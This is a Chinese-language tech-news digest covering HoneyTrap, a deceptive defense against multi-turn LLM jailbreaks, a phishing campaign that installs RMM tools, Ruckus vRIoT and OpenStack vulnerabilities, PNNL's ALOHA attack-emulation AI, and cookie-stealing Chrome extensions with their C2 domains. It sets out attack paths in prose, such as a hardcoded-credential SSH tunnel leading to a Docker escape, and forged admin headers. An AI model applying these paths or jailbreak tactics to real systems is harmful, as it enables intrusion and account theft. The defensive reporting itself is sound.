2026年1月

大语言模型已成为各行业的核心工具,覆盖医疗健康到创意服务等多个领域,彻底革新了人类与人工智能的交互模式。
但这种快速的规模化应用,也暴露出该技术存在的重大安全漏洞。越狱攻击—— 一类专为绕过模型安全机制设计的复杂攻击手段,正对大语言模型的安全落地部署构成日益严峻的威胁。
这类攻击会操控模型生成有害、不道德或具有恶意的内容,引发的严重后果涵盖虚假信息传播、诈骗实施乃至恶意滥用等多个层面。
当前主流的防御方案,通常依赖内容过滤、监督式微调等静态防护机制。
然而面对日趋复杂的多轮越狱攻击策略,这些传统方法逐渐难以招架。在这类攻击中,攻击者会在多轮对话过程中逐步升级攻击手段,诱导模型突破安全限制。
现有防御体系缺乏应对不断演变的对抗性攻击所需的动态适配能力,导致系统极易被这类基于对话的复杂攻击方式所利用。这一防御短板凸显出行业的迫切需求:需要打造更具适应性与前瞻性的防御方案,以应对层出不穷的新型威胁。
上海交通大学、伊利诺伊大学厄巴纳 – 香槟分校及浙江大学的分析师与研究人员,提出了一款名为蜜罐陷阱(HoneyTrap)的防御框架,为该领域带来了突破性的解决方案。
这款框架采用了与传统方案截然不同的越狱防御思路,其核心是构建一个多智能体协同系统 —— 它不会简单地直接拦截攻击请求,而是通过策略性欺骗手段主动误导攻击者,从而达成防御目的。

蜜罐陷阱(HoneyTrap)的架构集成

蜜罐陷阱框架整合了四个各司其职的专业防御智能体,各组件协同运作形成完整防御链路:
  1. 威胁拦截器(Threat Interceptor):作为防御体系的第一道防线,它会策略性地延迟响应速度以拖慢攻击者节奏,同时返回模糊不清的应答内容,确保不会泄露任何可被利用的有效信息。

  1. 误导控制器(Misdirection Controller):生成表面看似有用的欺骗性回复,巧妙诱导攻击者产生 “攻击正在推进” 的错觉,却始终无法获取关键信息。
  2. 系统协调器(System Harmonizer):承担全局调度职能,基于对攻击进展的实时分析,动态调整防御强度,实现防御策略的灵活适配。
  3. 取证追踪器(Forensic Tracker):持续监控所有交互过程,捕捉攻击者的行为模式,识别新型攻击特征,进而优化迭代防御策略。
实验验证结果表明,该框架的防御效果十分显著。在 GPT-4、GPT-3.5-turbo、Gemini-1.5-pro 以及 LLaMa-3.1 四款主流大语言模型上的测试显示,与现有防御方案相比,蜜罐陷阱能将攻击成功率平均降低 68.77%

尤为关键的是,这款框架能够大幅消耗攻击者的资源成本。

测试数据显示,其误导成功率提升了约 118%,同时攻击者的资源消耗增加了 149%。这些数据充分说明,蜜罐陷阱并非简单地拦截攻击,而是在不影响合法用户服务体验的前提下,策略性地消耗攻击者的资源。

该系统在正常对话场景下能够维持高质量的响应水准,在保障用户体验的同时,同步强化安全防御能力。
这一双重优势,让蜜罐陷阱成为一套务实且可落地的解决方案,能够帮助各类机构抵御不断演变的越狱攻击威胁。

安恒实验室安全情报中心(ASEC)在一份新报告中发出警示,称威胁攻击者正出现一种新型攻击趋势 ——劫持功能强大的远程监控管理(RMM)软件以侵入受害者网络。攻击者通过滥用 Syncro、SuperOps、NinjaOne 以及 ScreenConnect 等受信任工具,绕过安全检测雷达,在受感染系统上建立持久化远程控制权限。
这一轮攻击活动至少自 2025 年 10 月起便处于活跃状态,其攻击链路的核心伪装手段,是从一份看似无害的 PDF 文件开始。
攻击的起始环节是典型的钓鱼诱饵:受害者会收到携带 PDF 附件的钓鱼邮件,附件名称往往带有紧急属性,例如《产品缺陷订单.pdf》《发票明细.PDF》《视频付款异常.pdf》等。
但这些文件本质上都是诱饵。报告中提到:“当用户打开这份 PDF 文档时,会被引导点击一个谷歌云端硬盘链接”。文档会显示 “加载失败” 的提示,进而诱导用户访问一个外部网站 —— 该网站通常会伪装成 Adobe 的官方页面,以此骗取用户信任,让其点击查看内容。
安恒实验室安全情报中心的分析人员指出:“这一行为表明,威胁攻击者正通过仿冒 Adobe 的方式,让用户误以为自己正在下载一份合法的 PDF 文件”。
一旦用户点击该链接,下载到本地的并非传统意义上的病毒,而是一款合法的、或经过轻微篡改的企业级远程监控管理软件安装程序。这类工具的设计初衷,是供 IT 管理员对计算机进行远程运维管理,如今却被攻击者当作 “就地取材式” 攻击武器。它们带有正规数字签名,往往能被杀毒软件信任,且默认具备强大的远程访问能力。
报告着重强调:“威胁攻击者分发的 PDF 文件,会诱导用户从伪装的分发页面下载并运行这款远程监控管理工具”。
此次攻击活动中被武器化的具体工具包括:
  • Syncro
  • SuperOps
  • NinjaOne
  • ScreenConnect
从对攻击下载器的分析结果来看,这轮攻击的技术成熟度颇高。已监测到的一个 NinjaOne 下载器样本,是基于 **Nullsoft 脚本安装系统(NSIS)** 开发的。
报告指出:“该下载器由 NSIS 开发而成,其内置的 NSI 脚本中包含一条用于下载额外载荷的命令”。它会在用户不知情的情况下,从恶意域名anhemvn124.com获取远程监控管理工具的代理程序,并自动完成静默安装。
恶意软件的开发者甚至留下了可供追溯的数字线索。用于为恶意文件签名的证书显示,这类攻击活动至少从 2025 年 10 月起就已持续开展
这类攻击的检测难度极大,原因在于其最终投放的载荷,通常是一款被数千家正规企业广泛使用的、合法且经过签名的应用程序。安恒实验室安全情报中心建议用户,应对 PDF 文件中出现的任何 “加载失败” 提示保持高度警惕,同时务必核实任何来历不明的发票类邮件的发件人信息。
“在打开来自未知发件人的邮件时,用户必须格外谨慎。核实发件人是否可信、不点击可疑链接或附件,这两点至关重要”。
报告同时敦促各类组织机构,需加强对未经授权的远程监控管理软件安装行为的监测,并阻断与这类攻击分发活动相关的已知恶意域名访问。

一对高危安全漏洞在 Ruckus vRIoT IoT Controller 中被披露,该设备是企业 IoT 设备管理的核心中枢。两个漏洞的 CVSS 评分均为满分 10.0,意味着它们不仅易于利用,而且可能导致系统被完全接管
这两个漏洞编号为 CVE-2025-69425CVE-2025-69426,根源都在于内部认证机制存在严重缺陷。开发者在代码中留下了硬编码密钥,攻击者可利用这些密钥绕过安全限制并获取 root 权限
漏洞影响 3.0.0.0(GA)版本之前的所有 Ruckus vRIoT IoT Controller 固件

CVE-2025-69425:端口 2004 后门

第一个漏洞涉及一个监听在 TCP 2004 端口 的命令执行服务。该服务以 root 权限运行,因此成为极高价值的攻击目标。
虽然该服务名义上实现了认证机制,但机制本身存在根本性缺陷:它依赖一个硬编码的基于时间的一次性密码(TOTP)密钥以及一个嵌入式静态令牌。由于这些密钥被硬编码在设备固件中,攻击者只要提取到它们(通过攻陷设备或分析固件),就能随意生成有效的令牌
一旦获得这些令牌,攻击者即可连接到 2004 端口,并以 root 身份执行任意操作系统命令,从而完全控制整个控制器。

CVE-2025-69426:SSH Docker 逃逸

第二个漏洞堪称 “部分限制如何彻底失效” 的典型案例。漏洞源于初始化脚本中发现的一个操作系统用户账户的硬编码凭据

虽然该账户的 SSH 配置试图限制访问(禁用 SCP 和伪终端分配),但它仍在网络上留下了可被利用的入口。攻击者可使用硬编码凭据通过 SSH 登录,并建立本地端口转发
攻击路径设计巧妙:

认证:使用硬编码凭据登录。

隧道:通过 SSH 端口转发访问内部的 Docker 套接字

逃逸:通过隧道发送 Docker 命令,攻击者可将主机的文件系统挂载到一个新容器中。

接管:在该容器内,攻击者可以修改主机操作系统,从而成功突破沙箱限制,并在底层 vRIoT 控制器上以 root 权限执行命令

修复建议

对于任何暴露在公网的控制器来说,这些漏洞都是 “一击致命” 级别的。Ruckus 已在 固件版本 3.0.0.0(GA) 中修复了这两个问题。官方强烈建议管理员立即升级,以移除硬编码凭据并关闭这些攻击路径。

科技云报道原创。

 

“早上好”!清晨,AI助手悦耳的声音传达到你耳边,还推荐了适合你体重管理的早餐;上班路上,智能汽车自动规划了最佳路线,还能接着帮你整理昨晚没完成的工作文档;工作时,AI能跨设备帮你总结会议重点,生成个性化的周报……这些不再是科幻电影的场景,而是未来我们每个人都会经历的日常。

 

过去三年,AI的发展主要是比谁的模型参数更大、技术更硬。

 

 

从2022年生成式AI的火爆,到2025年产业开始转向,AI不再是偶尔用一用的“公共工具”,而是变成了像朋友一样常驻在我们电脑、手机、平板、眼镜等设备里的“长期伙伴”。

 

一个关键问题也随之而来:AI该归平台管,还是属于我们每一个人?近日,联想与IDC发布了国内首份《个人AI产业定义、产业架构与发展趋势白皮书》,该白皮书立足未来视角,对“真正属于每一个人”的个人AI进行前瞻性展望,并深入阐述个人AI崛起将引发的产业结构性变革。

 

 从“通用工具”到 “智能双胞胎”

 

报告预测,2026年将成为“个人AI元年”,全球生成式AI消费者将突破50亿。

 

这场变革不只是技术升级,更是“人工智能+”在我们普通人身边的深度落地,它基于“以人为中心”的核心想法,重新定义我们工作生活的方式。

 

过去三年,像ChatGPT这样的公共AI确实让更多人用上了AI,但也暴露了不少麻烦。

 

公共AI以商业平台为核心,我们想用好服务,就得交出自己的数据、隐私,还得放弃一部分控制权。

 

而且它的服务是“一刀切”,满足不了每个人的个性化需求,还存在跨平台用着不方便、响应慢等问题。

 

与此同时,我们对AI的需求也在悄悄改变。报告显示,2025年国内用户提到“安全隐私保护”的比例涨到了43%,超过65%的智能终端用户在使用AI Agent时,最关心“个人数据安全与隐私保护”,高于功能性、易用性等其他因素,同时对个性化服务的需求占比达35%。

 

报告预计,到2028年,服务型AI的市场规模会达到270亿美元,每年的增长率超过60%,扩张速度远高于工具型AI应用。

 

随着用户隐私数据越积越多、全场景智能需求爆发,AI产业正从“平台说了算”转向“围着个人需求转”。

 

如果说用户需求的改变是个人AI发展的前提,那终端设备算力的提升、混合大模型的成熟、隐私计算技术的突破,就给个人AI的实现提供了可能。

 

而终端厂商和平台的实践探索,让这种“专属”的智能体验从想法变成了现实。

 

个人AI的崛起,是一场大变革。从“平台掌控”到“个人做主”,从“你问它才答”到“主动懂你”,从“单纯工具”到“贴心伙伴”。

 

它不再是为商业目标服务的通用产品,而是真正属于你、帮你把利益最大化的“智能分身”,这种转变已经成了AI产业发展的重要趋势。

 

联想集团副总裁、中国区战略及业务拓展副总裁阿不力克木·阿不力米提(以下简称“阿木”)认为,最终会走向每一个人都能拥有一个双胞胎般的超级智能体,它就是个人的一个分身,是一个伴侣和伙伴,甚至是个人的代表。

 

 

联想集团副总裁、中国区战略及业务拓展副总裁 阿不力克木·阿不力米提

 

“以人为中心”的 个人超级智能体

 

报告认为,个人AI作为“以人为中心”的个人超级智能体,要实现从“工具”到“伙伴”的跨越,不仅需要具备跨平台开放连接的能力,能够以一个身份打通不同平台、不同设备、不同系统,从而实现无缝自由切换使用。

 

同时,还要让AI终端与个人云混合架构及混合大模型进行深度融合,通过构建基于个人AI主权的可信安全体系,找到个人隐私与应用效率的最佳平衡。

 

多模态感知与纯自然交互是个人AI的基础。它突破传统输入式交互局限,通过语音、肢体动作、神态、情绪等自然载体,结合图像输入、眼球追踪、环境捕捉等技术,实现从“看见输入”到“理解人类”的转变。

 

全时记忆与全域知识则解决了“跨场景失忆”的痛点。全时记忆能跨设备、跨时间沉淀用户习惯与偏好,通过“记录-强化-遗忘”的动态机制,形成可持续演化的个体化记忆体系;全域知识则整合分散在不同设备、应用中的笔记、日程、资料等信息,构建可检索、可复用的专属知识库。

 

全意图理解与自主规划执行,让AI真正“帮你做事”。它不仅能理解明确需求,还能基于长期画像预测潜在意图,将复杂任务拆解为可落地的行动步骤,跨终端协同执行。

 

持续学习与演进让AI与用户共同成长。通过日常交互反馈、记忆积累,结合轻量化模型适配技术,个人AI能不断贴近用户偏好。

 

用户可通过升级终端、订阅云服务提升其算力与能力,日常使用即等同于训练,使智能体成为持续增值的个人资产。

 

端云混合架构实现了隐私与效率的平衡。个人AI在终端部署“本地大脑”,处理隐私敏感任务与即时响应,保障数据安全与低时延,云端则承接复杂算力需求与全域知识库,通过可信个人云实现能力扩展。

这种“端侧守护隐私、云端赋能高效”的模式,让用户既能享受智能服务,又无需担忧数据泄露。

 

与公共AI通用体验不同,个人AI突破了单一厂商“生态围墙”,可在Windows、安卓、iOS等系统及不同芯片间自由切换,调用多厂商、多场景的服务与能力。无论是办公软件、娱乐应用,还是智能硬件、垂直领域服务,都能被统一调度,实现工作、学习、生活场景的无缝衔接。

 

如果说,公共AI连接的是每一个商业帝国的边界,那么个人AI就是由用户全权掌控,数据、算法、算力全部归个人所有,个人可自由处置、迁移、删除、管理个人数据、使用边界与智能体行为规则。

通过端云一体机密计算、抗量子加密、行为审计等技术,实现“数据可用不可见、行为可控可追溯”,让用户敢于向AI敞开生活与工作的全场景。

 

阿木表示,不论是联想还是其他公共AI开发者,都越来越有一个共识,个人AI将是未来下一个阶段创新和普惠的关键方向。

 

个人AI催生的新型生产关系

 

在公共AI时代,产业格局都是围着“平台”转,平台掌握着流量分配权,应用厂商得靠平台的接口和流量才能找到用户,用户也只能在单个平台的“围墙”里来回切换工具。

 

个人AI的崛起,正用“智能体调度”替代“平台分发”,掀起一场产业架构的大重构,让整个AI生态从“平台为中心”变成“用户为中心”,形成全新的运行逻辑。

 

在此过程中,终端厂商、应用开发者、技术提供商的角色与竞争焦点均被重新定义。

全场景整合商成将成为生态核心。以联想为代表的全场景整合商,其核心价值将由交付软件应用和硬件终端转为交付“智能体+终端+个人云”一体化体验。

 

智能体作为“数字分身”承载用户记忆与偏好,终端提供实时感知与物理执行能力,个人云通过可信加密支撑复杂算力需求,三者协同实现“端侧护隐私、云端提效率”的无缝服务。

 

应用从“独立APP”变成了“可调用的模块”。以前的独立软件被拆成标准化的能力单元,通过接口接入智能体生态。

 

个人AI能根据你的需求,自动组合这些模块,形成“提需求-执行-给反馈”的闭环,不用再频繁切换APP,让应用真正回归“解决问题”的本质。

模型、算力、安全组件化升级。模型被拆解为推理、感知等标准化模块,按需调用端云模型。

 

算力形成“端云协同”体系,端侧保障低时延隐私计算,云端承接大规模算力需求。安全能力贯穿全链路,以硬件加密、隐私计算等组件筑牢数据安全防线。

 

公共AI时代,终端是“流量入口”,竞争聚焦芯片算力、屏幕分辨率等硬件参数。个人AI时代,终端升级为“数据主权+智能体应用”的融合体,核心竞争力转向硬件、系统、智能体的全栈整合能力。

 

这种AI整合能力,是硬件、系统、智能体的全栈协同能力,而非单一技术的堆砌。

 

硬件层面需适配智能体运行需求,集成低功耗NPU、高速本地存储、多模态传感器等硬件模块,确保智能体“跑得动、跑得久、跑得安全”。

 

系统层面需重构资源调度逻辑,摒弃“以OS为中心”的传统模式,转为以智能体需求为核心,动态调配CPU、GPU、存储等资源,支持跨设备任务无缝迁移。

 

智能体层面需深度融入终端生态,实现与硬件能力的精准适配、与个人云的安全协同,以及与生态服务的高效联动。

 

由此,终端厂商的竞争力不再取决于单一硬件参数的强弱,而在于能否通过全栈整合,为用户提供“安全可控、无缝协同、持续进化”的智能体验。

 

作为个人AI的代表,联想天禧AI生动诠释了个人AI时代“智能体调度”与“全栈整合”的产业新逻辑,其“一体多端”的架构设计,成为未来个人AI的标杆形态。

 

“一体”,是指以天禧个人超级智能体为核心的统一智能中枢,它打破了设备与平台的界限,承载用户的全时记忆与全域知识,具备多模态感知、全意图理解、自主规划执行等核心能力。

 

天禧AI采用端云混合架构,本地集成天禧模型,云端联动豆包、Deepseek等模型,将感知、理解、记忆、规划、调度五大能力在终端、个人云、公有MaaS间合理分布、动态优化,既保证隐私安全,又具备强大的算力支撑。

“多端”则意味着智能体可无缝融入AIPC、AI手机、AI平板、智能穿戴设备等全场景终端,实现跨设备协同与任务接续。

 

天禧AI的核心竞争力,正是联想全栈AI整合能力的体现。硬件层面,AIPC、AI手机等终端集成专属NPU与传感器,为智能体提供高效运行基础。

 

系统层面,通过超级互联技术与资源调度优化,实现跨设备无缝协同。智能体层面,深度整合端云模型与生态服务,成为用户的“智能双胞胎”。

 

未来的个人AI不再是孤立的工具,而是以“一体多端”的超级中枢形态存在,通过智能体调度整合全场景资源,为用户提供“以人为中心”的个性化、安全化、无缝化智能服务

 

 

 

个人AI一个新的里程碑

 

IDC预测显示,个人AI将在2026年进入规模化爆发期,终端市场、用户规模、应用场景将迎来全方位增长,开启智能经济的新篇章。

 

这场产业变革中,竞争焦点已从单一硬件或技术,转向“以用户为中心”的协同体验。

 

全场景整合商主导生态搭建,应用开发者聚焦能力模块化,技术提供商推动组件化升级,各方协同构建开放共赢的新生态。这场重构将彻底改变AI产业的运行逻辑,让智能服务真正回归个体需求本身。

从公共AI到个人AI,这场变革的核心是“人”的回归,让智能服务于每一个个体,让每个人都能拥有专属的“认知外脑”与“行动分身”。

 

移动办公、教育、健康管理将成为个人AI的核心赛道。家居控制、娱乐互动、智能出行等场景也将快速渗透,形成全场景智能服务生态,让个人AI真正融入生活的每一个角落。

 

2026年,个人AI的爆发将成为AI产业一个新的里程碑。我们将进入一个人机共生、协同进化的新时代。个人AI从尝鲜走向规模化落地,不是一家企业的独角戏,而是全产业的协同共建。

当AI真正属于每一个人,一种崭新的生活方式将由此开启。

 

【关于科技云报道】

专注于原创的企业级内容行家——科技云报道。成立于2015年,是前沿企业级IT领域Top10媒体。获工信部权威认可,可信云、数博会、国家网安周与全球云计算等大型活动的官方指定传播媒体之一。深入原创报道云计算、人工智能、大模型、网络安全、大数据、区块链等企业级科技领域。

 

OpenStack 云基础设施项目中一个重大安全漏洞已被修复,该漏洞位于其身份认证中间件中。漏洞编号为 CVE-2026-22797,属于权限提升漏洞,允许已通过认证的普通用户欺骗系统,使其获得管理员权限或冒充其他用户。
问题出在 keystonemiddleware 中,这是 OpenStack 服务中负责处理身份验证令牌的关键组件。
该漏洞特别影响使用 external_oauth2_token 中间件 的部署。在安全的系统中,内部身份验证头(用于告诉后端用户是谁、能做什么)应该由系统本身严格管理。然而,该中间件在处理 OAuth 2.0 令牌之前没有清理传入的身份验证头
这一疏忽为伪造身份创造了危险机会。由于系统没有清除这些输入,“通过发送伪造的身份头,例如 X-Is-Admin-Project、X-Roles 或 X-User-Id,已认证的攻击者可能提升权限或冒充其他用户。”
本质上,攻击者只需通过注入 X-Is-Admin-Project 头就可以 “申请” 成为管理员,而系统会把它当成真实的。公告指出,这之所以可能,是因为中间件 “只在特定条件下设置某些头…… 当条件不满足时,伪造的值会保持不变”。
该漏洞影响以下特定版本范围的 Keystonemiddleware:
  • 版本 >=10.0.0 且 <10.7.2
  • 版本 >=10.8.0 且 <10.9.1
  • 版本 >=10.10.0 且 <10.12.1
公告警告:“所有使用 external_oauth2_token 中间件的部署都受到影响。”
该漏洞由 Red Hat 的 Grzegorz Grasza 报告。作为回应,OpenStack 团队已在多个发布分支发布补丁,包括 Caracal(2024.1)、Dalmatian(2024.2)、Epoxy(2025.1)、Flamingo(2025.2)和 Gazpacho(2026.1)。
云管理员被强烈建议立即应用这些补丁,以确保 OpenStack 环境正确验证用户身份,而不是盲目信任收到的请求头。


美国一家联邦实验室正致力于让威胁仿真流程变得更高效,以便安全团队能够更快地测试其系统是否能抵御最新的攻击。
据太平洋西北国家实验室(PNNL)的研究团队称,一个名为 ALOHA(Agentic LLMs for Offensive Heuristic Automation) 的人工智能系统可以快速重建攻击并生成变体来测试防御。PNNL 数据科学家、ALOHA 研究负责人 Loc Truong 表示,通过让系统能够根据威胁报告和描述自动生成攻击,PNNL 将保护系统的时间从数周缩短到了数小时
他说,其目标是让测试防御是否能应对最新攻击的过程变得尽可能高效。
“我们希望能够拿到一个新发现的攻击,然后迅速复制它,并在内部系统防御上进行测试,看看它们是否能检测到这种新攻击。”Truong 说,“每个团队,每个大型组织,都必须经历这个过程:首先重建攻击,而这通常需要一支熟练的工程专家团队、几周时间,以及大量资金。”
ALOHA 并不是第一个利用 AI 来提高攻击生成效率的攻击性安全项目。AI 系统的使用已经迅速演变成攻击者与防御者之间的军备竞赛。安全研究人员警告说,所有主要的基础 AI 模型 —— 从 Anthropic 的 Claude、OpenAI 的 ChatGPT、Google 的 Gemini,到 xAI 的 Grok—— 不是已经被攻击者使用,就是存在可能被攻击者利用的弱点。

PNNL 还指出,在一年一度的 DEF CON 夺旗赛(CTF)中,每支参赛队伍都将 AI 作为其工具包的一部分;而 Google 也发现证据表明,恶意软件作者正在开发能在运行时调用大语言模型(LLM)的程序,以更好地隐藏其恶意本质

防御性 AI 系统可能会改变攻防力量的平衡。

在发现新攻击后,网络安全研究人员通常会发布一份威胁报告,其中包含漏洞利用的描述、受影响软件的细节,甚至可能包括攻击者使用的技术、工具和流程(TTPs)。组织的安全团队会分析这份报告,但要创建一条足够接近真实威胁、可用于测试防御的攻击链,往往需要几天到几周的时间。
ALOHA 项目的网络安全研究员 Kris Willis 表示,将 ALOHA 引入流程可以帮助组织的 紫队(Purple Team) 工作更有效。
相关报道:委内瑞拉军事行动中可能包含网络攻击
“你不仅能进行攻击模拟,还能同时开展防御工作,” 他说,并补充道,虽然有不少工具可以帮助安全团队分析攻击,但将 TTP 与攻击者进行匹配的工具并不常见。“最难的部分是开发 TTP,然后与防御团队合作编写缓解措施。”
ALOHA 不仅能分析威胁报告并生成攻击者最可能使用的 TTP 攻击手册,还能在测试网络、仿真环境或网络靶场中测试这些攻击。此外,该 AI 系统还能帮助为系统弱点编写缓解措施,并协助配置防御系统,以便在攻击正在进行时更好地提醒组织。
ALOHA 使用 Anthropic 的 Claude 大语言模型,并与 MITRE 的开源工具 Caldera 协同工作,Caldera 常用于自动化对手仿真、测试和开发防御检测、原型设计、攻击研究以及红队训练。研究人员表示,借助该系统,安全团队可以快速构建包含 20 多种战术、需要数十个步骤的攻击仿真。
“你用简单的英文描述你想要的攻击,生成式 AI 就会自动运行攻击,”Truong 在 ALOHA 的在线介绍中说。“这项技术加快了防御者的响应速度,使网络安全专家不必亲自执行那么多操作。只需点击即可运行。”
相关报道:不再唱反调:对 AI 的怀疑正在上升

超越 “我是否存在漏洞?”

Aviatrix(一家专注于 AI 的云网络安全公司)的首席产品策略经理 Benson George 表示,MITRE Caldera 的用户会发现使用 ALOHA 的过程相当简单。该公司已经在使用 Caldera 进行对手仿真,并计划尝试这个新框架,尤其是如果它能改善开源框架中一些较繁琐的部分。
“红队很可能会成为重度用户 —— 我们这边肯定会用,” 他说。“它是对 Caldera 的补充。Caldera 是一个很棒的工具,但它非常耗时,而且对细节要求极高。”
Willis 表示,最终,PNNL 研究团队希望让 AI 对更多类型的组织有用,而不仅仅是高级安全团队。
“关键在于优化防御,” 他说,并指出当前的集成使该工具能够完成整个攻击仿真和防御缓解周期。“它先运行攻击能力,然后回头查看防御工具,接着制定防御对策,再重新运行攻击,看看防御工具是否能检测到它。”

网络安全研究人员发现了五款新的恶意 Google Chrome 浏览器扩展,它们伪装成人力资源(HR)和企业资源计划(ERP)平台(如 Workday、NetSuite 和 SuccessFactors),以劫持受害者账户
“这些扩展协同工作,窃取身份验证令牌,阻断安全响应能力,并通过会话劫持实现完全账户接管。”Socket 安全研究员 Kush Pandya 在周四的报告中表示。
这些扩展的名称如下:
  • DataByCloud Access(ID: oldhjammhkghhahhhdcifmmlefibciph,发布者:databycloud1104)——251 次安装
  • Tool Access 11(ID: ijapakghdgckgblfgjobhcfglebbkebf,发布者:databycloud1104)——101 次安装
  • DataByCloud 1(ID: mbjjeombjeklkbndcjgmfcdhfbjngcam,发布者:databycloud1104)——1,000 次安装
  • DataByCloud 2(ID: makdmacamkifdldldlelollkkjnoiedg,发布者:databycloud1104)——1,000 次安装
  • Software Access(ID: bmodapcihjhklpogdpblefpepjolaoij,发布者:Software Access)——27 次安装
截至撰写时,除 Software Access 外,其他四款均已从 Chrome 应用商店下架。尽管如此,它们仍可在 Softonic 等第三方软件下载网站获取。这些插件被宣传为 “生产力工具”,声称能提供 Workday、NetSuite 等平台的 “高级功能访问权限”。其中 DataByCloud 1 和 DataByCloud 2 最早发布于 2021 年 8 月 18 日。
尽管使用了两个不同的发布者,但基于完全相同的功能和基础设施模式,研究人员判定这是一场协同攻击活动。攻击流程包括:将 Cookie 窃取到攻击者控制的远程服务器、通过操纵 DOM 树阻止安全管理页面访问、以及通过 Cookie 注入实现会话劫持。
安装后,DataByCloud Access 会请求对 Workday、NetSuite 和 SuccessFactors 域名的以下权限:cookies、management、scripting、storage 和 declarativeNetRequest。它还会收集指定域名的身份验证 Cookie,并每 60 秒发送到 “api.databycloud [.] com”。
“Tool Access 11(v1.4)通过清空页面内容并跳转到无效 URL,阻止用户访问 Workday 中的 44 个管理页面。”Pandya 解释说。“该扩展会阻断身份验证管理、安全代理配置、IP 范围管理和会话控制界面。”
这是通过 DOM 操纵实现的:扩展会维护一个页面标题列表并持续监控。DataByCloud 2 则将被阻断的页面扩展到 56 个,新增了密码修改、账户停用、双因素认证设备管理和安全审计日志访问等关键功能。它同时针对生产环境和 Workday 的沙箱测试环境 “workdaysuv [.] com”。
相比之下,DataByCloud 1 复制了 DataByCloud Access 的 Cookie 窃取功能,同时集成了使用开源库 DisableDevtool 来阻止开发者工具调试的功能。两款扩展均对其 C2 通信进行加密。
五款扩展中最复杂的是 Software Access,它不仅能窃取 Cookie,还能从 “api.software-access [.] com” 接收被盗的 Cookie,并将其注入浏览器,从而实现直接的会话劫持。此外,它还会保护密码输入框,防止用户查看输入的凭据。
“该功能会从服务器载荷中解析 Cookie,删除目标域名的现有 Cookie,然后遍历提供的 Cookie 数组,使用 chrome.cookies.set () 逐个注入。”Socket 表示。“这会将受害者的身份验证状态直接安装到威胁 actor 的浏览器会话中。”
值得注意的是,所有五款扩展都包含一个完全相同的 23 个安全相关 Chrome 扩展列表,例如 EditThisCookie、Cookie-Editor、ModHeader、Redux DevTools 和 SessionBox。它们会监控这些扩展的存在并向威胁 actor 发送告警。
Socket 认为,这很可能是为了判断浏览器是否安装了可能干扰其 Cookie 窃取目标或暴露其行为的工具。此外,五款扩展共享相同的扩展 ID 列表,这意味着它们要么来自同一威胁 actor(使用不同发布者账号),要么使用了同一个工具包。
Chrome 用户如果安装了上述任何插件,应立即从浏览器中删除,并重置密码,同时检查是否存在来自陌生 IP 或设备的未授权访问。
“持续的凭据窃取、管理界面阻断和会话劫持相结合,会导致安全团队即使检测到未授权访问,也无法通过正常渠道进行补救。”Socket 警告说。

Nikita Bier,X(原 Twitter)的产品负责人,已正式宣布将彻底清除平台上的 AI 生成垃圾信息和激励驱动的虚假内容,并强调这种为了推广而泛滥的合成信息将不再被容忍
这项政策调整专门针对 InfoFi—— 一个仿照加密货币领域 “去中心化金融(DeFi)” 所造的混成词。它指的是一类去中心化应用,这些应用通过加密货币代币或其他奖励机制,激励用户发帖、转发或评论
虽然加密货币营销长期以来一直要求用户关注官方账号并标记熟人以获取代币空投,但 InfoFi 进一步加剧了这种模式:它利用奖励机制,迫使用户通过个人账户在平台上大量发布垃圾信息。随着此次公告的发布,X 的技术团队已立即撤销所有与 InfoFi 相关应用的 API 访问权限,从源头上切断了它们自动化传播大规模宣传内容的能力。
这项规定明确表明,X 将不再容纳依赖自动发帖脚本激励机制的应用。通过从源头拆除这些渠道,平台希望减少自动化垃圾信息的洪流。对于有判断力的用户来说,这是一个受欢迎的变化;InfoFi 生成的数字垃圾通常是 AI 生成的文字,虽然表面上连贯,但完全缺乏实质内容,只会分散注意力、扰乱讨论。
值得注意的是,Bier 在公告的最后用一句讽刺的话收尾:如果 BlueSky 或 Threads 对这类垃圾内容感兴趣,X 非常乐意 “协助迁移”。事实上,这两个竞争对手也正被同样的 AI 垃圾信息引擎围攻;Bier 的玩笑提醒我们,与其沉迷于由机器人推高的虚假数据,不如优先考虑技术层面的清理


过去几周,我和妻子一直在追孔雀电视台(Peacock)的新剧《哥本哈根测试》(The Copenhagen Test)。IMDb 对这部剧的描述是:“一名第一代分析师发现自己的大脑被黑客入侵,感官信息可被外界获取。他在情报机构和黑客之间周旋,同时假装一切正常,试图找出幕后真凶。”
虽然我们目前还不知道(甚至不确定)分析师的大脑里是否被植入了芯片,但第一集就揭示:他的大脑正在向外发出无线信号,而且有人能看到、听到他所做的一切。
这是科幻,还是 2026 年的现实?
我发现,好莱坞的虚构作品虽然往往夸张,但常常能提前把未来技术对生活的影响呈现出来。简单说,人们往往更容易通过电影和电视剧理解科技趋势,而不是通过现实世界里真正发生的事情。从 80 年代初的《战争游戏》(WarGames),到 2015 年的《黑客军团》(Mr. Robot),再到今天的《哥本哈根测试》,这些剧都让观众更直观地感受到新技术对人和流程的影响。
与此同时,关于 “为了各种原因在人体植入芯片” 的新闻也不断出现。看看 2026 年已经发布的这些报道:
The Debrief:Neuralink 准备启动 “大批量” 脑植入生产,竞争对手也在布局
“埃隆・马斯克的 Neuralink 宣布计划在今年将其脑机接口(BCI)芯片 The Link 扩展至‘大批量’生产。”
“马斯克在 2025 年 12 月 31 日的 X 帖子中写道:‘Neuralink 将在 2026 年开始大批量生产脑机接口设备,并采用更简化、几乎完全自动化的手术流程。设备的线程将穿过硬脑膜,无需移除它……’”
“Neuralink 的竞争对手之一、INBRAIN Neuroelectronics 的首席执行官兼联合创始人 Carolina Aguilar 告诉《The Debrief》:‘现阶段,我们对 “大批量” 的现实理解是每年数百台,未来会增加到数千台。’不过她补充说,由于多种因素,最终这个数字可能会达到‘数万’。”
《底特律新闻》:奥尔特曼的 Merge 融资 2.52 亿美元,用于连接大脑与计算机
“由 AI 亿万富翁山姆・奥尔特曼联合创立的 Merge Labs 融资 2.52 亿美元,该公司正在开发将人脑与计算机连接的设备。”
“随着硅谷的企业家和投资者预期未来人工智能将变得如此先进,人类将愿意 —— 甚至可能被迫 —— 增强自己的大脑以利用它,这家公司应运而生。就像智能手机提供了通往数字世界的入口一样,实验性的脑机技术正被设计用来简化这种体验。”
“Merge 在其网站上表示,其目标是‘无缝连接人类与人工智能,以最大化人类的能力、自主性和体验’。该公司没有披露估值。它计划首先开发医疗用途的产品,然后再面向普通公众。”
福克斯新闻 2025 年 4 月报道:患有 ALS 的瘫痪男子成为第三位接受 Neuralink 植入的人,能用大脑打字
“亚利桑那州的丈夫和父亲布拉德・史密斯(Brad Smith)成为第三位接受马斯克公司 Neuralink 脑植入的人。”
